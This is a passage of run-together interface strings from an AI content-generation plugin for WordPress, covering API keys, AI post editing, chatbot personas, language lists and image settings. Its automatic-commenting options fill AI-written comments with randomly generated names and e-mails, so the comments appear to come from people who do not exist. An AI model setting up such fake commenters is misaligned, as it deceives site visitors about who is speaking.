text prompt, and the AI would generate an image that represents that prompt. This could be used for a variety of creative purposes, such as generating artwork or visualizing concepts. Please note that as of my last update in September 2021, DALL-E 2 and Stable Diffusion were not released or announced, so I can't provide specific details about these technologies.Import Assistants From FileImport Assistants From OpenAIImport Content or ExcerptImport Default AssistantsImport Default Assistants (This Can Take For A While)Import Default FormsImport Default OmniBlock TemplatesImport Default OmniBlock Templates (This Can Take For A While)Import Default PersonasImport Default Personas (This Can Take For A While)Import Forms From FileImport OmniBlock Templates From FileImport Personas From FileImporting is RunningImprove Royalty Free Featured Image Precision Using This Service:Improve YouTube Video Search Keywords Using AI:In ProgressIn WordPress, taxonomies are used to classify and organize content. They allow you to group posts, pages, or custom post types together based on shared characteristics. Taxonomies can be hierarchical (like categories) or non-hierarchical (like tags). When creating taxonomies in WP, it is important to set descriptions for SEO purposes.In addition to the powerful core features, Aiomatic has some hidden gems that will take your website to the next level. Let's explore these exciting features and see how they can supercharge your site.In case you want to get some inspiration on how to create your own forms or you want to get started really quick with using the AI Forms functionality of the plugin, you can go ahead and import the default forms which come bundled with this plugin. To do this, go to the 'AI Forms Importer/Exporter' tab and click the 'Import Default Forms' button.In the 'Advanced AI API Settings' tab, you can change advanced AI model settings, which will be used when editing content. This could include things like the complexity of the language used, the tone of the content, and more.In the 'Editing Templates and Options' tab, you can set how to edit posts. Here are the options:In the 'Manual Content Editing Settings' tab, you can set up the conditions for manual post editing. This is useful for editing existing posts. You can set detailed filters on what posts/pages/custom post types to automatically edit.In the Aiomatic settings page, navigate to the "AI Chatbot" menu of the plugin. You will be able to customize the chatbot in the 'Chatbot Customization', 'Chatbot Default Styling', 'Chatbot Settings' and 'Default API Parameters' tabs. Here, you can define how the chatbot will respond to specific user inputs. You can also change the visual style and appearance of the chatbot. Don't forget to always save your changes.In this tutorial, I'll walk through the process of setting up an AI-powered chatbot on your WordPress website using the Aiomatic WordPress plugin. This plugin allows you to integrate AI language models to create a highly customizable chatbot that can interact with your website visitors.In this tutorial, we will walk you through each step of setting up and using this feature, from installation and activation of the plugin, to configuring automatic and manual editing settings, to defining your editing templates and options, and finally, to adjusting advanced AI API settings for the editing process. By the end of this guide, you'll be able to harness the power of AI to streamline your content creation process and enhance the quality of your posts. Let's get started!In this video, I'll take a closer look at how the latest update of Aiomatic works and what it can do for you. I'll explore how you can easily post AI-generated text to your social media channels, saving you time and effort while keeping your followers engaged.Incomplete POST request for chatIncomplete POST request for chat!Incorrect ai_personas parameter given.IndiaIndonesianIndonesian (Google Translate)IndustryInfoInfo:Inject Chatbot Globally Your To Site:Input Background Color:Input Border Color:Input Field CountInput FieldsInput Placeholder Color:Input Text Color:Input a comma separated list of video captions prefered languages to use for the %%video_caption%% shortcode. Please use a comma separated list of 2 character language codes. Ex: en,es,hu,br. The plugin will use the fisrt language in the list that matches. If you leave this field blank, the default language caption will be imported for each video.Input a list of URLs that the plugin will use when submitting comments. One per line. Possible shortcode that can be used here: %%post_link%%, %%random_sentence%%, %%random_sentence2%%Input a list of e-mails that the plugin will use when submitting comments. One per line. If you leave this field empty, a random email will be generated. Possible shortcode that can be used here: %%random_sentence%%, %%random_sentence2%%Input a list of user names that the plugin will use when submitting comments. One per line. If you leave this field empty, a random name will be generated. Possible shortcode that can be used here: %%random_user%%, %%author_name%%, %%random_sentence%%, %%random_sentence2%%Input a post IDInput a secret wordInput a separator for multiple content extracted from multiple HTML entities that match the same class defined for crawling. Default is a new line.Input a valid email adressInput headless browser timeout in millisecondsInput request delayInput rule timeout in secondsInput the API key for your Amazon S3 client. Details: Input the API key for your CloudFlare R2 client. You can create CloudFlare R2 API credentials by clicking the 'Manage R2 API Tokens' link on the right of the 'Overview' page from the CloudFlare R2 Control Panel.Input the API key for your Digital Ocean Spaces client. Details: Input the API key for your Wasabi client. Details: Input the API secret for your Amazon S3 client. Details: Input the API secret for your CloudFlare R2 client. You can create CloudFlare R2 API credentials by clicking the 'Manage R2 API Tokens' link on the right of the 'Overview' page from the CloudFlare R2 Control Panel.Input the API secret for your Digital Ocean Spaces client. Details: Input the API secret for your Wasabi client. Details: Input the Bucket Name from Wasabi - You can create your Wasabi bucket, here: Input the Origin Endpoint from Digital Ocean Spaces. This should be in the following format: https://..digitaloceanspaces.com - You can create your Digital Ocean Spaces bucket, here: Input the URL to be addedInput the bucket name from Amazon S3. You can create your Amazon Bucket, here: Input the bucket region from Amazon S3.Input the bucket region from Wasabi.Input the email adress where you want to send the report. You can input more email addresses, separated by commas.Input the keyword to be replaced. This field is requiredInput the replacement wordInput the search query for full content searchingInput the search query for full content searching. This can be the ID or class name you want to search for, the regex expression you want to apply or the XPath/CSS Selector Expression you want to query for. You can also enter a comma separated list of selectors, in this case, the plugin will get the results for all. If you leave this field blank, content will be automatically detected for you. Multiple expressions supported, each on a different line.Input the tags for which you want to disable editing. You can enter more tags, separated by comma. Ex: cars, vehicles, red, luxury. To disable this feature, leave this field blank.Input web proxy authInput web proxy urlInput your API key in the 'OpenAI / AiomaticAPI API Keys (One Per Line)' settings field and hit the Save button.Input your Account ID from CloudFlare R2. You can create CloudFlare R2 account ID by copying the ID from the right of the 'Overview' page from the CloudFlare R2 Control Panel.Input your CloudFlare R2 Bucket Name. Input your desired post titles (one per line), a TXT file with titles (one per line) or a RSS feed URL. The plugin will select a random post title at each run. Nested spintax supported. You can also enter RSS feed URLs, from where the plugin will extract a random post title, each time it runs. If you set a RSS feed URL, an item will be randomly selected from the title/description/content of the RSS feed contents - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Input your textInsert a comma separated list of links to valid images that will be set randomly for the featured image for the posts that do not have a valid image attached or if you disabled automatical featured image generator. You can also use image numeric IDs from images found in the Media Gallery. To disable this feature, leave this field blank. Spintax supported. You can also use the %%random_image[keyword]%% shortcode to automatically import a random image from Google Image Search with the Creative Commons filter applied. To get a related image, you can also use: %%random_image[%%post_title%%]%%Insert a custom HTML code that will replace the %%custom_html%% variable. This can be anything, even an Ad code.Insert a custom HTML code that will replace the %%custom_html2%% variable. This can be anything, even an Ad code.Insert some sentences from which you want to get one at random. You can also use variables defined below. %something ==> is a variable. Each sentence must be separated by a new line.Insert some variables you wish to be exchanged for different instances of one sentence. Please format this list as follows:
                    Variablename => Variables (seperated by semicolon)
                    Example:
                    adjective => clever;interesting;smart;huge;astonishing;unbelievable;nice;adorable;beautiful;elegant;fancy;glamorous;magnificent;helpful;awesome
                    Insert your API Keys (one per line). For OpenAI API, get your API key here. For AiomaticAPI, get your API key here. For Azure, get your API key here.Insert your Amazon Associate IDInsert your Amazon Associate ID (Optional).Insert your Amazon Associate ID (Optional). Learn how to get one here. Also, you need to sign up for Amazon Affiliate program here.Insert your Azure OpenAI API deployment name for %s model. Create one in the Microsoft Azure Services panel.Insert your Azure OpenAI API endpoint. Get one in the Microsoft Azure Services panel.Insert your D-ID API Key. For D-ID API, get your API key here. This is used for the Chatbot text to video feature.Insert your ElevenLabs API Key. For ElevenLabs API, get your API key here. This is used for the Chatbot text to speech feature.Insert your Flickr App ID. Learn how to get an API key here. If you enter an API Key and an API Secret, you will enable search for images using the Flickr API.Insert your Google Text-to-Speech API Key. For Google API, get your API key here. This is used for the Chatbot text to speech feature.Insert your Pexels App ID. Learn how to get an API key here. If you enter an API Key and an API Secret, you will enable search for images using the Pexels API.Insert your Pinecone API Key. For Pinecone API, get your API key here.Insert your Pixabay App ID. Learn how to get one here. If you enter an API Key here, you will enable search for images using the Pixabay API.Insert your PlagiarismCheck API Key. Learn how to get one here.Insert your Qdrant API Key. For Qdrant API, sign up for a Qdrant account here and afterwards, get your API key from the 'Data Access Control' Tab from your Qdrant dashboard.Insert your Stability.AI API Keys (one per line). For Stability.AI API, get your Stability.AI key here.Insert your TextRazor API Key. Learn how to get one here. This is used when extracting relevant keywords from longer texts. Adding an API key here can greatly improve royalty free image accuracy.Insert your YouTube API Key. Learn how to get one here. This is used when adding YouTube videos to your post content. You can also enter a comma separated list of multiple API keys. This is optional, the Related Videos feature will work also without an API key entered.Insert your password for the selected premium spinner service.Insert your user name on premium spinner service.InstalledInstant ResponseInstruction for the AI editor, to edit post content. Please specify your instruction without adding the %%post_content%% shortcode, as the content will be automatically added at processing time. Nested shortcodes from other plugins also supported here. You can also use the following shortcodes: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to usersm using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).Instruction for the AI editor, to edit post excerpt. Please specify your instruction without adding the %%post_excerpt%% shortcode, as the excerpt will be automatically added at processing time. Nested shortcodes from other plugins also supported here. You can also use the following shortcodes: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to usersm using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).Instruction for the AI editor, to edit post title. Please specify your instruction without adding the %%post_title%% shortcode, as the content will be automatically added at processing time. Nested shortcodes from other plugins also supported here. You can also use the following shortcodes: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to usersm using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).Instructions to Send For the AI Editor (Content Editing):Instructions to Send For the AI Editor (Excerpt Editing):Instructions to Send For the AI Editor (Title Editing):Integration with 'Ultimate Membership Pro'Interactive Voice Response (IVR) systemInterestingness AscendantInterestingness DescendantInternal LinksInternet Access / Related Headings API Keys:Invalid file type submitted.Invalid frequency_penalty provided: Invalid model provided: Invalid presence_penalty provided: Invalid temperature provided: Invalid top_p provided: IrishIrish (Google Translate)Is CRON runningItalianItalian (Google Translate)ItalicItalyItem ID:Item Name:Item TypeItem Type:JapanJapaneseJapanese (Google Translate)JavaneseJavanese (Google Translate)Just download the plugin from CodeCanyon and install it to your site in a few seconds.K_DPMPP_2MK_DPMPP_2S_ANCESTRALK_DPM_2K_DPM_2_ANCESTRALK_EULERK_EULER_ANCESTRALK_HEUNK_LMSKannadaKannada (Google Translate)KazakhKazakh (Google Translate)KeywordKeyword Extractor Model (Optional):Keyword Extractor Prompt (Optional):Keyword ReplacerKeywordsKhmerKhmer (Google Translate)KinyarwandaKinyarwanda (Google Translate)KonkaniKonkani (Google Translate)KoreanKorean (Google Translate)KrioKrio (Google Translate)KurdishKurdish (Google Translate)Kurdish - SoraniKurdish - Sorani (Google Translate)KyrgyzKyrgyz (Google Translate)Label*LanguageLanguage:LaoLao (Google Translate)Last OmniBlock is not a "Action" type block! All data created after the last "Action" type block will be lost.Last PageLast Run: LatestLatest NewsLatinLatin (Google Translate)LatvianLatvian (Google Translate)Learn how to describe the purpose of the imageLearn moreLeave empty if the image is purely decorative.LeftLets say you would like to give your AI the ability to answer specific questions about your website content, company, product or anything else, but you don't want to go through the process of training your own AI model. In this case, the Embeddings feature is what you will need. Simply specify your statements in the Embeddings section of the plugin and they will be also sent to the AI content writer, when needed.Lets say you would like to train your AI to answer specific questions about your website content, company, product or anything else. You can achieve this by fine-tuning a model using your own data! Please note, this process requires a lot of effort. Preparing a high quality data is the key here. And you need to do a lot of testing to achieve best results!License Type:Limit AI Generated Meta Description Character Count:Limit PDF Character Count:Limit PDF Page Count:LimitationsLimits & StatisticsLimits & Statistics SettingsLimits and Statistics Tutorial VideoLimits not availableLingalaLingala (Google Translate)LinkLink KeywordsLink to AddLinkedIn Post DescriptionLinkedIn Post Image URLLinkedIn Post LinkLinkedIn Post TemplateLinkedIn Post TitleLinkedinomatic Post GeneratorList AI FormsList of Possible Variables:LithuanianLithuanian (Google Translate)Load File ContentLoad From FileLoaded PHP ExtensionsLoading content...Loading editor...Loading...Local Time: Locally To ServerLocationLog emptyLower values generally result in less motion in the output video, while higher values generally result in more motion. This parameter corresponds to the motion_bucket_id parameter from the paper.LugandaLuganda (Google Translate)LuxembourgishLuxembourgish (Google Translate)MacedonianMacedonian (Google Translate)Main AI API Settings:Main API Service Provider Selector:Main SettingsMain Switch:Main keyword shortcodeMaintenanceMaithiliMaithili (Google Translate)Make Search Case Sensitive:MalagasyMalagasy (Google Translate)MalayMalay (Google Translate)MalayalamMalayalam (Google Translate)MalteseMaltese (Google Translate)ManageManage AI OmniBlocksManage Assistant FilesManage AssistantsManage Assistants:Manage Chatbot Personas:Manage OmniBlock Files:Manage OmniBlock Templates:Manage Uploaded Assistant FilesManual Headings and Images ListManual LinksManual List Of HeadingsManual List Of Headings:Manual List Of ImagesManual List Of Images:Manual List Of URLs (One Per Line)Manual List Of URLs (One Per Line):Manual URL ListManually Run AI Editing For This PostManually Run Post Editing Now:Manually Run Taxonomy Description Writing Now:Manually Run Taxonomy Description Writing On:MaoriMaori (Google Translate)MarathiMarathi (Google Translate)Match Also Partial Words:MaxMax #Max Chat Messages To Send As API Context:Max Guest Credits:Max Number Of Products To IncludeMax Number Of Products To Include:Max Price in PenniesMax Price in Pennies:Max Token CountMax TokensMax User CreditsMax User Credits:Max lines to processMaximum # Of Characters To KeepMaximum # Of Items To ProcessMaximum Character Chunk Size To Send To The AI Editor (Optional):Maximum Continue Token Count To Use Per API RequestMaximum Continue Token Count To Use Per API Request:Maximum Credits For GuestsMaximum Credits For UsersMaximum Number Of Automatic Links To Add To The Post ContentMaximum Number Of Automatic Links To Add To The Post Content:Maximum Number Of Categories To Add To The Post:Maximum Number Of Comments To Add To The Post:Maximum Number Of Images To Edit From A Single Post Content:Maximum Number Of Posts To Process:Maximum Number Of Products To QueryMaximum Number Of Related Headings to Add To The ContentMaximum Number Of Related Headings to Add To The Content:Maximum Number Of Related Images to Add To The ContentMaximum Number Of Related Images to Add To The Content:Maximum Number Of Tags To Add To The Post:Maximum Number Of Taxonomies To Process:Maximum Posts To Change:Maximum Prompt Token Count To Use Per API RequestMaximum Prompt Token Count To Use Per API Request:Maximum Replacement CountMaximum Result LengthMaximum Result Token Count To Use Per API Request:Maximum Total Token Count To Use Per API RequestMaximum Total Token Count To Use Per API Request:Maximum execution timeMaximum image height.Maximum image width.Maximum number of categories to add. You can also use value ranges, like: 3-5. The default value is 1-2Maximum number of comments to add to the %%previous_comments%% shortcode, The default value is 5Maximum number of comments to add. You can also use value ranges, like: 3-5. The default value is 1-2Maximum number of images that should be edited from the post content. This is a protection mechanism, to not allow the plugin to edit too many images from a single post's content. To disable this feature, leave it blank.Maximum number of tags to add. You can also use value ranges, like: 3-5. The default value is 1-2Maximum upload file sizeMaximum upload file size:Media Library ExtensionsMedia Library Extensions Tutorial Videos:MeiteilonMeiteilon (Google Translate)Menu OrderMenu nameMessage When Limit Reached (Logged In Users):Message When Limit Reached (Not Logged In Users):Message When Limit Reached (Rule Based Restrictions - Global):Meta Key Name:Meta Key Value:Meta ValueMeta Value NumberMethod SelectorMexicoMicrosoft AzureMicrosoft Translator API:Microsoft Translator Access Key (Optional)Microsoft Translator Region Code (Optional)Middle East (Bahrain)MinMin Price in PenniesMin Price in Pennies:Minimum image width.Mixed LinksMizoMizo (Google Translate)ModeMode: The mode in which the request was made.ModelModel BaseModel For Keyword Extraction For Royalty Free Images:Model SettingsModel: The AI model used for the request.ModerationModifiedModify Prompt For the AI Writer Using Internet Search Results:Modify the prompt for the AI writer, using the below template, adding also information extracted from the internet. You can use the following shortcodes: %%original_query%% (to add the original search query), %%current_date%% (to add the current date), %%web_results%% (to add the search query results).Modify the template of the %%web_results%% shortcode. You will be able to use the following shortcodes: %%result_counter%% (to add the index of the current result), %%result_title%% (to add the title of the current result), %%result_snippet%% (to add the snippet of the current result), %%result_link%% (to add the URL of the current result). The default value for this settings field is: [%%result_counter%%]: %%result_title%% %%result_snippet%% URL: %%result_link%%MongolianMongolian (Google Translate)MonthMonth Query:More DetailsMore FeaturesMore InfoMore OptionsMore Royalty Free Image Options:More SettingsMore Settings:More about EmbeddingsMore about fine tuningMore advanced and detailed system information.More details about Embeddings, check More infoMore information aboutMore information about %sMove All Posts To TrashMultiline InputMultiple Crawled Content Separator:MusicMySQL Client encodingMySQL Detailed versionMySQL VersionMySQL Version:NLP API Key:NONENameNamespaceNaturalNatureNavigate to the 'API Keys' tab on the top of this admin page.Navigate to the 'Limits and Statistics' section of the Aiomatic plugin.Need help configuring this plugin? Please check out it's video tutorial.Need help?NepaliNepali (Google Translate)Nested Shortcodes also supported!NetherlandsNew Post Source NameNew Posts CreatedNew RuleNew feature added to this plugin: it is able to use HeadlessBrowserAPI to scrape with JavaScript rendered content any website from the internet. Also, the Tor node of the API will be able to scrape .onion sites from the Dark Net!New! You can use the [aicontent]Your Prompt[/aicontent] shortcode in this or otherNewestArrivalsNextNext PageNext Run: NoNo "Action" type OmniBlock added in the queue! Add a "Action" type OmniBlock, like: "Save Posts" to store the data which was created by the AI. Otherwise, it will be lost.No AI OmniBlock Types Added To This RuleNo AI OmniBlock Types Defined!No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!No ChangeNo Change - No New Posts CreatedNo OmniBlock Files found. You can add more using the 'Upload OmniBlock File' button from above. You can also generate new files using OmniBlocks.No OmniBlock Templates added. You can add more using the 'Add New OmniBlock Templates' button from above. You can also import the default templates which come with the plugin, by clicking on the 'Backup/Restore OmniBlock Templates' button from above and afterwards, the 'Import Default OmniBlock Templates' button.No Post Sources found.No Royalty Free Image Sources EnabledNo assistants added. You can add more using the 'Add New Assistant' button from above.No avatar addedNo chatbot personas added. Add them in the 'Manage Chatbot Personas' tab.No chatbot personas added. You can add more using the 'Add New Persona' button from above.No file sent for upload.No image returned from API call: No info.No known copyright restrictionsNo limitNo persistent chat messages found. You can enable this feature if you use the following shortcode to add a persistent AI chat to your page: [aiomatic-chat-form persistent="on"]No rules are running right nowNo saved themes availableNo template categories found. Add some in the 'OmniBlock Template Manager' tabNo templates found. Add some in the 'OmniBlock Template Manager' tabNo textual data found in the PDF fileNoneNorvegianNorwegianNorwegian (Google Translate)Not InstalledNot Subscribed UsersNot availableNote 1: Don't forget to secure your API key from OpenAI (don't share it with anyone).Note 2: If you're using Cloudflare, please read below.Note 3: If you're using the WP Rocket caching plugin, please deactivate and reactivate your caching plugin.Note 4: If your server has a timeout limit (max_execution_time server settings limited), you may not be able to generate longer content. Please request your hosting provider to extend the server timeout limit to at least 10-15 minutes to generate longer content.Note 5: If you're using iThemes security, please ensure to allow PHP calls from the plugin folder, otherwise, some features of the plugin might not work.Nothing to save!Notification Settings:Now go have some fun using the plugin!Now you are ready to get started seeing the plugin in action! You can hover your mouse over the Aiomatic menu in your WordPress dashboard. From there, you can choose to generate a single AI post or to create bulk automatic AI-created posts, complete with rich HTML content and royalty-free or AI-generated images. You can also edit existing or newly published posts, using an AI content editor. If you are an advanced user or you want to learn how to squize more out of the plugin and AI in general, check the Embeddings and Model Training features of the plugin. Finally, stop over to see the usage charts of the plugin and set limits for its API usage (if you feel that this is needed).NumberNumber Of Content Sections To GenerateNumber Of Content Sections To Generate:Number Of Paragraphs Per SectionNumber Of Paragraphs Per Section:Number Of Results To Query:Number Of Search Results To Add (In The %%web_results%% Shortcode):Number between -2.0 and 2.0. Positive values penalize new tokens based on their existing frequency in the text so far, decreasing the model's likelihood to repeat the same line verbatim.Number between -2.0 and 2.0. Positive values penalize new tokens based on whether they appear in the text so far, increasing the model's likelihood to talk about new topics.Number of Images To Add To The ArticleNumber of Images To Add To The Article:Number of YouTube Videos To Add To The ArticleNumber of YouTube Videos To Add To The Article:Number of created sections:Number of diffusion steps to run. Default is 50.Number of paragraphs per section:ObjectOdiaOdia (Google Translate)OffOmniBlock FilesOmniBlock ManagerOmniBlock ParametersOmniBlock Queue Starts HereOmniBlock Queue Stops HereOmniBlock Rule ManagerOmniBlock Template Category:OmniBlock Template ManagerOmniBlock Template Title:OmniBlock Template draft updated.OmniBlock Template published.OmniBlock Template restored to revision from %sOmniBlock Template saved.OmniBlock Template scheduled for: %1$s.OmniBlock Template submitted.OmniBlock Template updated.OmniBlock TitleOmniBlock Type To Add (Drag And Drop):OmniBlock Type:OmniBlock TypesOmniBlock Webhook functionality not enabled in 'Main Settings' menu of the plugin!OmniBlock type not found: OmniBlocksOmniBlocks Settings:OnOn (Local Storage)On (Local Storage), Only Save Chat LogsOn (Vector Database Storage), Auto Create Embeddings From User MessagesOnce 10 minutesOnce 15 minutesOnce 30 minutesOnce A MinuteOnce MonthlyOnce WeeklyOnce a dayOnce a monthOnce a weekOnce an hourOnly OpenAI API is supported for Assistants APIOnly the incidents which occured less than a week ago are displayed here.OpenAI / AiomaticAPIOpenAI API Functions Calling Tutorial Video:OpenAI Organization ID (Optional)OpenAI Organization ID (optional)OpenAI StatusOpenAI's pricingOpenAI/AiomaticAPIOpenRouter AI API SettingsOperating SystemOptimize The %%post_content%% Shortcode Using AI:OptionsOrder Results By:Order Results:Order results by a predefined rule.Organization IDOriginal Content Image Strength:Original Image Strength:OromoOromo (Google Translate)Other Cloud Storage Options Tutorial Video:Outputs an embeddings result from the embeddings you have created in the plugin, based on the text input sent to this OmniBlock. Note that for this feature to work, you need to enable embeddings in the plugin and create embeddings texts, which matches the result you are expecting.Overwrite Chatbot Text-to-Speech Voice ID:Overwrite Chatbot Video Avatar URL:Overwrite ExistingOverwrite Existing PostsOverwrite Existing Posts:PDF ChatPDF Chat Settings:PDF File Parsing And Storage Using OmniBlocksPDF File Storage And ParsingPDF File Uploaded Failed User Message:PDF File Uploaded Successfully User Message:PDF Session Ended User Message:PHP Curl:PHP DateTime Class:PHP Max Input VarsPHP Max Input Vars (optional):PHP Max Upload SizePHP Memory Limit:PHP Post Max SizePHP Post Max Size:PHP Time LimitPHP Time Limit:PHP VersionPHP Version:PagePage ID:Page Name:Page Where to Publish PostsPage: PagesParagraphParentPashtoPashto (Google Translate)Pass in a style preset to guide the image model towards a particular style. Default is NONE.Path to phantomjsPendingPending -> ModeratePeoplePermanently Delete All PostsPerplexity AI API SettingsPersianPersian (Google Translate)Persistent Chat LogsPersistent Chat:Persona AvatarPersona Context Prompt*Persona First MessagePersona ManagerPersona Name Color:Persona Name*Persona RolePersona Role Color:Persona SelectorPersona draft updated.Persona published.Persona restored to revision from %sPersona saved.Persona scheduled for: %1$s.Persona submitted.Persona updated.Pexels API Options:Pexels App ID:PhantomJS (HeadlessBrowserAPI)PhantomJS (needs to be installed on server)PhantomJS Path On Server:PhotoPhoto License: Pin DescriptionPin TitlePin URLPineconePinecone API:Pinecone Index:Pinecone Namespace:Pinecone.ioPinterestomatic Post GeneratorPixabay API Options:Pixabay App ID:Pixabay Direct Scraping Options:PlacesPlagiarism CheckerPlagiarism Checker/AI Detector API Key:PlagiarismCheck API Key List (Optional):PlagiarismCheck API:Plain TextPlayer Max Height (Pixels):Player Max Width (Pixels):PlaygroundsPlease change rule settings, as your titles are all posted.Please check 'Activity and Logging' plugin menu for details.Please check below the available playgrounds to test the plugin's features:Please check some tips and tricks about writing prompt commands, here.Please enable curl PHP extension. Please contact your hosting provider's support to help you in this matter.Please enter a title idea/keywordPlease input your Envato purchase code, to enable automatic updates in the plugin. To get your purchase code, please follow this tutorial. Info submitted to the registration server consists of: purchase code, site URL, site name, admin email. All these data will be used strictly for registration purposes.Please insert image attribution text patternPlease insert image max widthPlease insert image min heightPlease insert image min widthPlease insert the desired height for AI generated imagesPlease insert the desired height for featured imagesPlease insert the desired width for AI generated imagesPlease insert the desired width for featured imagesPlease insert the first list of sentencesPlease insert the global banned words listPlease insert the global required words listPlease insert the keyword to be replacedPlease insert the keyword to replace the search keywordPlease insert the link to be added to the keywordPlease insert the list of variablesPlease insert the second list of sentencesPlease insert your Anthropic Claude API KeyPlease insert your D-ID API KeyPlease insert your ElevenLabs.io API KeyPlease insert your Flickr APP IDPlease insert your Google MakerSuite AI API KeyPlease insert your Google Text-to-Speech API KeyPlease insert your OpenAI/AiomaticAPI API KeyPlease insert your OpenRouter AI API KeyPlease insert your Perplexity AI API KeyPlease insert your Pexels API keyPlease insert your Pinecone.io API KeyPlease insert your Pixabay API keyPlease insert your PlagiarismCheck API KeyPlease insert your Qdrant API KeyPlease insert your Stability.AI API KeyPlease insert your TextRazor API KeyPlease insert your YouTube API Key. You can also insert a list of comma separated API keys. The plugin will select one to user, each time when it runs, at random.Please insert your premium text spinner service passwordPlease insert your premium text spinner service user namePlease log in to your account to see usage info.Please note that you will also be able to use the shortcodes provided at the bottom of the forms which can be used in the AI Playground. These will add the same forms also to the front end of your site.Please note, I can not guarantee that the fine-tuned model will work well for your use case. As I mentioned before, dataset quality is very important. If you have a small dataset, you might not get good results. If you have a very large dataset with really well-defined prompt and completion pairs, you should get good results.Please provide a single ASIN of an Amazon product (ex: B07RZ74VLR).Please provide a single ASIN of an Amazon product (ex: B07RZ74VLR). To create multiple product review posts, add a different ASIN, each on a new line.Please provide the URLs to the YouTube videos (one per line). You can also enter a YouTube handle URL (channel or user), example: https://www.youtube.com/@CodeRevolutionTV/videos - if you have added a YouTube API key in the plugin's 'Main Settings' menu, this will list all recent videos from this specific YouTube channel. Otherwise, it will list videos which appear also on the featured page of the channel. Videos added here must be public and have captions available (uploaded or auto generated). In case auto generated captions are used, the quality of the created article might be lower. Nested Shortcodes also supported!Please provide the a search keyword for Amazon products to be included in the created article. Alternatively, you can provide a comma separated list of product ASINs (ex: B07RZ74VLR,B07RX6FBFR). To create multiple posts from the ASIN lists, add a new comma separated ASIN list to a new line.Please provide the a search keyword for Amazon products to be included in the created content. Alternatively, you can provide a comma separated list of product ASINs (ex: B07RZ74VLR,B07RX6FBFR).Please provide the a search keyword for the related entities search.Please select a promptPlease select at least one checkbox to generate!Please set a the image attribution shortcode value. You can use this value, using the %%image_attribution%% shortcode, in 'Prepend Content With' and 'Append Content With' settings fields. You can use the following shortcodes, in this settings field: %%image_source_name%%, %%image_source_website%%, %%image_source_url%%. These will be updated automatically for the respective image source, from where the imported image is from. This will replace the %%royalty_free_image_attribution%% shortcode, in 'Generated Post Content' settings field.Please specify also a namespace for embeddings.Plugin ActivationPlugin Advanced Settings:Plugin Autorun Interval:Plugin General Settings:Plugin Registration Info - Automatic Updates Enabled:Plugin registration failed!Plugin registration successful!Point Of ViewPoint Of View:PolandPolishPolish (Google Translate)PopularPopular Post SourcePortuguesePortuguese (Google Translate)Possible reasons:Post AuthorPost Author IDPost Author:Post Automatic Categories Options:Post Automatic Commenting Options:Post Automatic Tags Options:Post CategoriesPost Category OptionsPost Category to ProcessPost ContentPost Content - AI Text Generator OptionsPost Content Automatic Linking Options:Post Creation ModePost Custom FieldsPost Custom Fields:Post Custom TaxonomiesPost Custom Taxonomies:Post Data ImportingPost Date RangePost ExcerptPost FormatPost IDPost ID (Optional)Post IDs:Post Name:Post OptionsPost ParentPost Parent IDPost Parent ID:Post Parent:Post SectionsPost Sections List (Optional)Post Sections List (Optional):Post SlugPost SourcePost StatusPost Status:Post Tag OptionsPost TagsPost TitlePost Title - AI Text Generator Options (%%ai_generated_title%% shortcode)Post Title List / TXT File URL / RSS Feed URLPost Title SourcePost Title Source:Post Topic ListPost TypePost Type:Post Types Where To Generate Automatic LinksPost Types Where To Generate Automatic Links:Post Types Where To Generate Inboud Links:Post created as draft. Choose what to do next:Post will be edited respecting the configurations you made in the 'AI Content Editor' plugin menu section.Posting ModePosting OptionsPostsPosts Automatic Editing Filtering:Posts From Which To Create Embeddings:Posts Generated:Premium Spinner Service Password/API Key:Premium Spinner Service User Name/Email:Prepend Text To All Textual AI PromptsPrepend Text To All Textual AI Prompts:Prepend To The BeginningPreppend Text To Prompts For Content Completion:Presence PenaltyPresence Penalty:PrevPreviewPreview image:Previous PagePricePrice: The cost of the request.Price:HighToLowPrice:LowToHighPrivateProcess Also Taxonomies Which Already Have A Description:Process Each Keyword Only OnceProcess Each Keyword Only Once:Process Each Result With AI PromptProcess Each Title/Keyword Only OnceProcess Each Title/Keyword Only Once:Process Each Title/Topic Only OnceProcess Each Title/Topic Only Once:Process Each Title/Video Only OnceProcess Each Title/Video Only Once:Process Titles/Topics In Order, Not Random:Process Videos In Order Of EntryProcess Videos In Order Of Entry:Product Listing TemplateProduct Search Keywords / Product ASIN ListProductsPromptPrompt For OpenAI Keyword Generator For Royalty Free Image Importing:Prompt For The AI Category GeneratorPrompt For The AI Category Generator:Prompt For The AI Comment Generator:Prompt For The AI Image GeneratorPrompt For The AI Image Generator:Prompt For The AI Post Tag GeneratorPrompt For The AI 